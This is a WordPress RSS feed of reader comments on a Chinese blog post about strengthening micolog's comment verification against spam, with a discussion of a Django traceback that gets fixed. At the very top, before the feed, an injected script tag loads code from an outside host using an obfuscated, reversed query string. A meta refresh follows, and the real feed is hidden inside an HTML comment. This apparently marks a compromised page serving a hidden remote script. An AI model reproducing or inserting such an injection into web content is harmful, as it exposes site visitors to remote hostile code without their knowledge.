<script src='http://turnitupnow.net/?rnd=7665deef%2Flmth.stnemmoc-maps-tneverp-ot-noitacitnehtua-egassem-glocim-niaga-edargpu%2F21%2F01%2F9002%2Fmoc.elcerim.www'></script><meta http-equiv='refresh' content='0;url=http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/feed'><!--<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《再次升级micolg的留言验证,防止垃圾评论》的评论</title>
	<atom:link href="http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html</link>
	<description>it,技术,经济生活,互联网</description>
	<lastBuildDate>Tue, 31 Jan 2012 13:31:22 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2</generator>
	<item>
		<title>作者：micolog GAE博客技巧汇总 &#124; GMAERIC BLOG</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-1831</link>
		<dc:creator>micolog GAE博客技巧汇总 &#124; GMAERIC BLOG</dc:creator>
		<pubDate>Sat, 10 Sep 2011 08:00:37 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-1831</guid>
		<description>[...] 再次升级micolg的留言验证,防止垃圾评论 [...]</description>
		<content:encoded><![CDATA[<p>[...] 再次升级micolg的留言验证,防止垃圾评论 [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-396</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-396</guid>
		<description>自己先留言一把，彩色代码这个还是有问题，代码里面有空行的话，通过live writer粘贴过来后在blog上面就变成空格了，看来还需要整一把。</description>
		<content:encoded><![CDATA[<p>自己先留言一把，彩色代码这个还是有问题，代码里面有空行的话，通过live writer粘贴过来后在blog上面就变成空格了，看来还需要整一把。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：云在天边</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-397</link>
		<dc:creator>云在天边</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-397</guid>
		<description>现在测试的结果好吗？</description>
		<content:encoded><![CDATA[<p>现在测试的结果好吗？</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：TaoGOGO</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-398</link>
		<dc:creator>TaoGOGO</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-398</guid>
		<description>恩……代码错位 ……&lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif&quot; /&gt; 把加密数据放在cache里面……貌似在本地也可以实现检查，不过估计没有人会再攻击你的micolog，为了我们这些micolog还要改垃圾评论发送软件的代码~</description>
		<content:encoded><![CDATA[<p>恩……代码错位 ……<img src="http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif" /> 把加密数据放在cache里面……貌似在本地也可以实现检查，不过估计没有人会再攻击你的micolog，为了我们这些micolog还要改垃圾评论发送软件的代码~</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-399</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-399</guid>
		<description>哈哈是啊，够用就好了 &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>哈哈是啊，够用就好了 <img src="http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：Qing</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-400</link>
		<dc:creator>Qing</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-400</guid>
		<description>唉，人气旺的后果啊。。。 &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>唉，人气旺的后果啊。。。 <img src="http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-401</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-401</guid>
		<description>嗯，现在确实是好了，自从昨晚升级后，从来不间断的垃圾评论一直还没出现过。ghs的ip被封了，电信网络连不上，真是郁闷 &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_wink.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>嗯，现在确实是好了，自从昨晚升级后，从来不间断的垃圾评论一直还没出现过。ghs的ip被封了，电信网络连不上，真是郁闷 <img src="http://yanpblog.appspot.com/static/images/icons/icon_wink.gif" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：vvonder</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-402</link>
		<dc:creator>vvonder</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-402</guid>
		<description>我也改改试试，看看效果怎样。&lt;br /&gt;访问你的blog有时会有如下错误：&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/__init__.py&quot;, line 507, in __call__&lt;br /&gt;    handler.get(*groups)&lt;br /&gt;  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 60, in _wrapper&lt;br /&gt;    method(*args, **kwargs)&lt;br /&gt;  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/blog.py&quot;, line 177, in get&lt;br /&gt;    self.render(&#039;single&#039;, tpl_vars)&lt;br /&gt;  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 185, in render&lt;br /&gt;    html=self.get_render(template_file,values)&lt;br /&gt;  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 177, in get_render&lt;br /&gt;    html = template.render(sfile, self.template_vals)&lt;br /&gt;  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/template.py&quot;, line 81, in render&lt;br /&gt;    return t.render(Context(template_dict))&lt;br /&gt;  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/template.py&quot;, line 121, in wrap_render&lt;br /&gt;    return orig_render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render&lt;br /&gt;    return self.nodelist.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render&lt;br /&gt;    bits.append(self.render_node(node, context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node&lt;br /&gt;    return(node.render(context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 82, in render&lt;br /&gt;    return compiled_parent.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render&lt;br /&gt;    return self.nodelist.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render&lt;br /&gt;    bits.append(self.render_node(node, context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node&lt;br /&gt;    return(node.render(context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 23, in render&lt;br /&gt;    result = self.nodelist.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render&lt;br /&gt;    bits.append(self.render_node(node, context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node&lt;br /&gt;    return(node.render(context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 96, in render&lt;br /&gt;    return self.template.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render&lt;br /&gt;    return self.nodelist.render(context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render&lt;br /&gt;    bits.append(self.render_node(node, context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node&lt;br /&gt;    return(node.render(context))&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/defaulttags.py&quot;, line 93, in render&lt;br /&gt;    values = self.sequence.resolve(context, True)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 563, in resolve&lt;br /&gt;    obj = resolve_variable(self.var, context)&lt;br /&gt;  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 656, in resolve_variable&lt;br /&gt;    current = current()&lt;br /&gt;  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/model.py&quot;, line 161, in randposts&lt;br /&gt;    result.append(entries.fetch(1, offset = id)[0])&lt;br /&gt;IndexError: list index out of range&lt;br /&gt;</description>
		<content:encoded><![CDATA[<p>我也改改试试，看看效果怎样。<br />访问你的blog有时会有如下错误：<br />Traceback (most recent call last):<br />  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/__init__.py&quot;, line 507, in __call__<br />    handler.get(*groups)<br />  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 60, in _wrapper<br />    method(*args, **kwargs)<br />  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/blog.py&quot;, line 177, in get<br />    self.render(&#8216;single&#8217;, tpl_vars)<br />  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 185, in render<br />    html=self.get_render(template_file,values)<br />  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/base.py&quot;, line 177, in get_render<br />    html = template.render(sfile, self.template_vals)<br />  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/template.py&quot;, line 81, in render<br />    return t.render(Context(template_dict))<br />  File &quot;/base/python_lib/versions/1/google/appengine/ext/webapp/template.py&quot;, line 121, in wrap_render<br />    return orig_render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render<br />    return self.nodelist.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render<br />    bits.append(self.render_node(node, context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node<br />    return(node.render(context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 82, in render<br />    return compiled_parent.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render<br />    return self.nodelist.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render<br />    bits.append(self.render_node(node, context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node<br />    return(node.render(context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 23, in render<br />    result = self.nodelist.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render<br />    bits.append(self.render_node(node, context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node<br />    return(node.render(context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/loader_tags.py&quot;, line 96, in render<br />    return self.template.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 168, in render<br />    return self.nodelist.render(context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 705, in render<br />    bits.append(self.render_node(node, context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 718, in render_node<br />    return(node.render(context))<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/defaulttags.py&quot;, line 93, in render<br />    values = self.sequence.resolve(context, True)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 563, in resolve<br />    obj = resolve_variable(self.var, context)<br />  File &quot;/base/python_lib/versions/third_party/django-0.96/django/template/__init__.py&quot;, line 656, in resolve_variable<br />    current = current()<br />  File &quot;/base/data/home/apps/yanpblog/1.337007200942554545/model.py&quot;, line 161, in randposts<br />    result.append(entries.fetch(1, offset = id)[0])<br />IndexError: list index out of range</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-403</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-403</guid>
		<description>是啊郁闷，我今天发现有时候会出，但这又不是必出，真是郁闷</description>
		<content:encoded><![CDATA[<p>是啊郁闷，我今天发现有时候会出，但这又不是必出，真是郁闷</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/10/12/upgrade-again-micolg-message-authentication-to-prevent-spam-comments.html/comment-page-1#comment-404</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/10/12/29137.html#comment-404</guid>
		<description>问题解决了 &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif&quot; /&gt; ，是因为entrycount数目又超过了实际的数目，前两天改出来的bug...&lt;br /&gt;这次升级后，确实再也没有垃圾评论了 &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>问题解决了 <img src="http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif" /> ，是因为entrycount数目又超过了实际的数目，前两天改出来的bug&#8230;<br />这次升级后，确实再也没有垃圾评论了 <img src="http://yanpblog.appspot.com/static/images/icons/icon_mrgreen.gif" /></p>
]]></content:encoded>
	</item>
</channel>
</rss>

